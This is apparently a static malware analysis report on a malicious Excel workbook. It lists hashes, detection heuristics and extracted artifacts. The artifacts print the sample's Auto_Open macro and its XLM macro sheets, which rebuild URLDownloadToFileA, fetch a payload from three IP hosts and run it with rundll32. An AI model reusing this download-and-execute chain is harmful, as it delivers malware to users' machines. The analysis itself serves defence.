Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 afcfdfd8aa44cb27…

MALICIOUS

Office (OOXML)

114.1 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-22
MD5: d8d73343a553c944c5c5c1d5f5a01220 SHA-1: dfe9173bca0a4120222e421f9ddd33a2bb78beb1 SHA-256: afcfdfd8aa44cb27b0886cde4cd188261dfc986b8b01c78b83aa93187289426d
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains critical heuristics indicating the presence of Excel 4.0 macros that utilize dangerous API calls like FORMULA, HALT, GOTO, REGISTER, and EXEC. These functions are commonly used to download and execute payloads. The Auto_Open macro and hidden sheets further suggest malicious intent. The embedded URLs are likely sources for the second-stage payload.

Heuristics 6

  • Excel 4.0 macro sheet (3 sheet(s)) critical 1 related finding OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Dangerous XLM formula APIs: FORMULA, HALT, GOTO, REGISTER, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.183.99.115/44313,6048108796.dat In document text (OOXML body / shared strings)
    • http://51.89.73.159/44313,6048108796.datIn document text (OOXML body / shared strings)
    • http://190.14.37.38/44313,6048108796.datIn document text (OOXML body / shared strings)
    • http://185.183.99.115/In document text (OOXML body / shared strings)
    • http://51.89.73.159/In document text (OOXML body / shared strings)
    • http://190.14.37.38/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2437 bytes
SHA-256: aa10abebc3ece39bf198cf3383ccb30417606e0a98d60e87747026c15426213c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kikide"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True




Attribute VB_Name = "Briks"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Byutut"

Attribute VB_Name = "Vsewd"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Blasr"
Private Sub Auto_Open()
Application.Run Sheets("Nyukasl").Range("AJ6")

Application.Run Sheets("Nyukasl").Range("A5")
Application.Run Sheets("Nyukasl").Range("A5")






End Sub

Attribute VB_Name = "Vrest"

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{4F079883-D63C-4E2A-AD37-7B2F61A2BACD}{A61B2430-76EA-4B1D-A381-E7C23109F48A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23552 bytes
SHA-256: 91a9b7465b88e20cedc488ee563b51a66933319637de00c1bc25730d49fcda6a
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4133 bytes
SHA-256: 1754d2e1b6c4f50a584bbed904e8c391f5774d8bb3d5d1aed732e1538fdab9f1
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{5E3EE2C8-4BD1-4A7A-8165-1C49BDB78CBA}"><dimension ref="AE74:AK92"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="13.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="29" width="13.5703125" style="3"/><col min="30" max="30" width="13.5703125" style="3" customWidth="1"/><col min="31" max="33" width="13.5703125" style="3" hidden="1" customWidth="1"/><col min="34" max="34" width="17.42578125" style="3" hidden="1" customWidth="1"/><col min="35" max="35" width="13.5703125" style="3" hidden="1" customWidth="1"/><col min="36" max="36" width="21.5703125" style="3" hidden="1" customWidth="1"/><col min="37" max="37" width="13.5703125" style="3" hidden="1" customWidth="1"/><col min="38" max="38" width="13.5703125" style="3"/><col min="39" max="39" width="21.42578125" style="3" bestFit="1" customWidth="1"/><col min="40" max="16384" width="13.5703125" style="3"/></cols><sheetData><row r="74" spans="33:36" x14ac:dyDescent="0.25"><c r="AG74" s="3" t="str"><f>CONCATENATE(AG80,AH78,AG78,AG79)</f><v>http://185.183.99.115/44313,6048108796.dat</v></c></row><row r="75" spans="33:36" x14ac:dyDescent="0.25"><c r="AG75" s="3" t="str"><f>CONCATENATE(AG81,AH78,AG78,AG79)</f><v>http://51.89.73.159/44313,6048108796.dat</v></c><c r="AI75" s="3"><v>1</v></c></row><row r="76" spans="33:36" x14ac:dyDescent="0.25"><c r="AG76" s="3" t="str"><f>CONCATENATE(AG82,AH78,AG78,AG79)</f><v>http://190.14.37.38/44313,6048108796.dat</v></c><c r="AI76" s="3"><v>9</v></c></row><row r="77" spans="33:36" x14ac:dyDescent="0.25"><c r="AJ77" s="3" t="b"><f>ON.TIME(NOW()+"00:00:02","Grestes")</f><v>0</v></c></row><row r="78" spans="33:36" x14ac:dyDescent="0.25"><c r="AG78" s="3" t="s"><v>0</v></c><c r="AH78" s="3"><f>NOW()</f><v>44313.604810879631</v></c></row><row r="79" spans="33:36" x14ac:dyDescent="0.25"><c r="AG79" s="3" t="s"><v>1</v></c><c r="AH79" s="3" t="b"><f>FORMULA(AG85&amp;AG86&amp;AG92,AI83)</f><v>0</v></c></row><row r="80" spans="33:36" x14ac:dyDescent="0.25"><c r="AG80" s="3" t="str"><f>"http://185.183.99.115/"</f><v>http://185.183.99.115/</v></c><c r="AJ80" s="3" t="b"><f>HALT()</f><v>0</v></c></row><row r="81" spans="33:35" x14ac:dyDescent="0.25"><c r="AG81" s="3" t="str"><f>"http://51.89.73.159/"</f><v>http://51.89.73.159/</v></c></row><row r="82" spans="33:35" x14ac:dyDescent="0.25"><c r="AG82" s="3" t="str"><f>"http://190.14.37.38/"</f><v>http://190.14.37.38/</v></c><c r="AI82" s="3" t="s"><v>2</v></c></row><row r="84" spans="33:35" x14ac:dyDescent="0.25"><c r="AI84" s="3" t="s"><v>3</v></c></row><row r="85" spans="33:35" x14ac:dyDescent="0.25"><c r="AG85" s="3" t="str"><f>"URLDo"</f><v>URLDo</v></c><c r="AI85" s="3" t="s"><v>4</v></c></row><row r="86" spans="33:35" x14ac:dyDescent="0.25"><c r="AG86" s="3" t="str"><f>"wnloadT"</f><v>wnloadT</v></c></row><row r="87" spans="33:35" x14ac:dyDescent="0.25"><c r="AH87" s="3" t="e"><f>GOTO(Blodas!G6)</f><v>#N/A</v></c></row><row r="88" spans="33:35" x14ac:dyDescent="0.25"><c r="AI88" s="3" t="s"><v>5</v></c></row><row r="92" spans="33:35" x14ac:dyDescent="0.25"><c r="AG92" s="3" t="str"><f>"oFileA"</f><v>oFileA</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="po
... (truncated)
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2129 bytes
SHA-256: e160b159452c58df54bac64c2408088fc69c4a427060e264cc2ce4a1856b2db2
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First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{B06B5105-687C-43F7-A487-3A7680CBC977}"><dimension ref="G11:G18"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="6" width="9.140625" style="2"/><col min="7" max="7" width="12.140625" style="2" customWidth="1"/><col min="8" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="11" spans="7:7" x14ac:dyDescent="0.25"><c r="G11" s="2" t="b"><f>REGISTER(Nyukasl!AI82,Nyukasl!AI83,Nyukasl!AI84,Nyukasl!AI85,,Nyukasl!AI75,9)</f><v>0</v></c></row><row r="12" spans="7:7" x14ac:dyDescent="0.25"><c r="G12" s="2" t="e"><f>Belandes(0,Nyukasl!AG74,Nyukasl!AI88,0,0)</f><v>#NAME?</v></c></row><row r="13" spans="7:7" x14ac:dyDescent="0.25"><c r="G13" s="2" t="e"><f>IF(G12&lt;0, Belandes(0,Nyukasl!AG75,Nyukasl!AI88,0,0))</f><v>#NAME?</v></c></row><row r="14" spans="7:7" x14ac:dyDescent="0.25"><c r="G14" s="2" t="e"><f>IF(G13&lt;0, Belandes(0,Nyukasl!AG76,Nyukasl!AI88,0,0))</f><v>#NAME?</v></c></row><row r="16" spans="7:7" x14ac:dyDescent="0.25"><c r="G16" s="2"><f>IF(G14&lt;0,CLOSE(0),)</f><v>0</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="2" t="e"><f>GOTO(Jioka!H4)</f><v>#N/A</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1949 bytes
SHA-256: 0b087dc342d0a7c7ecdeb426e7cbcf43637a78a1fe8870ea48fc5df73c2f7887
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{7CC12E8C-181F-40F2-A690-14110549575E}"><dimension ref="H7:I20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="7" width="9.140625" style="2"/><col min="8" max="8" width="9.85546875" style="2" customWidth="1"/><col min="9" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="7" spans="8:9" x14ac:dyDescent="0.25"><c r="I7" s="2" t="str"><f>"rund"</f><v>rund</v></c></row><row r="9" spans="8:9" x14ac:dyDescent="0.25"><c r="I9" s="2" t="str"><f>"ll32 ..\Ladfge.VDGfwr,DllReg"</f><v>ll32 ..\Ladfge.VDGfwr,DllReg</v></c></row><row r="10" spans="8:9" x14ac:dyDescent="0.25"><c r="I10" s="2" t="str"><f>"isterServer"</f><v>isterServer</v></c></row><row r="16" spans="8:9" x14ac:dyDescent="0.25"><c r="H16" s="2" t="b"><f>PI()=EXEC(I7&amp;I9&amp;I10)=PI()</f><v>0</v></c></row><row r="20" spans="8:8" x14ac:dyDescent="0.25"><c r="H20" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>